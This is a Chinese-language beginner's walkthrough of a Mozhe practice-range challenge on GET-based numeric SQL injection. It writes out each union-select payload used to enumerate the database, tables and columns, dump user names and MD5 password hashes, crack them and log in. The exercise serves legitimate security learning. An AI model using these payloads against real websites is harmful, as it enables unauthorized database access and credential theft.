前言
此文章只用于学习和反思巩固sql注入知识,禁止用于做非法攻击。注意靶场是可以练习的平台,不能随意去尚未授权的网站做渗透测试!!!
一、墨者靶场启动
墨者靶场是一个不用自己搭建就可以用的靶场,十分适合懒得搭建靶场又想练习的小白选手。网址在此:https://www.mozhe.cn/
点击开启靶场后再点击访问
二、靶场通关思路
- 1、判断注入点
- 2、爆字段个数
- 3、爆显位位置
- 4、爆数据库名
- 5、爆数据库表
- 6、爆数据库列
- 7、爆数据库关键信息
1、判断注入点
无论输入什么,用户名密码都还是错误,说明注入地方可能不是这里。鼠标右键点击查看源代码发现有新的网址,是get注入。(如图所示)
打开这个网址成功找到注入地方,正片开始。
注入语句为
id=1 and 1=1
id=1 and 1=2
这里我们老规矩抛出and 1=1 和 and 1=2测试,发现1=1页面正常,1=2报错了,所以是数字型注入。(如图所示)
2、爆字段个数
(如图所示)注入语句为id=1 order by 1
数字1逐次提升发现是5报错。说明字段数为4
3、爆显位位置
(如图所示)注入语句为id=-1 union select 1,2,3
至于为什么这里id变成-1了,其实是为了让数据库查询不到信息而返回错误,来巧妙返回我们的注入语句。
发现显位位置是2,3
4、爆数据库名、版本、用户等等
如图所示)注入语句为
id=-1 union select 1,user(),database(),4
得到用户是root,数据库名是mozhe_Discuz_StormGroup
5、爆数据库表名
注入语句为
id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
得到全部表名为StormGroup_member,notice,明显第一个可疑。(如图所示)
6、爆数据库列名
注入语句为
id=-1 union select 1,group_concat(column_name) ,3,4 from information_schema.columns where table_schema=database() and table_name="StormGroup_member"
得到四个列名id,name,password,status(如图所示)
明显name和password可疑
7、爆数据库数据
注入语句为
id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
得到密码名字(如图所示)
发现密码是一串MD5,去MD5解码网站https://www.cmd5.com/?lailu=www.itdka.cn
得到两个密码dsan13,580427
发现密码为dsan13的账号登录失败。密码为580427的账号可以登陆,成功得到key。
总结
这是基于get提交的数字型注入,此文章是小白自己为了巩固sql注入而写的,大佬路过请多指教!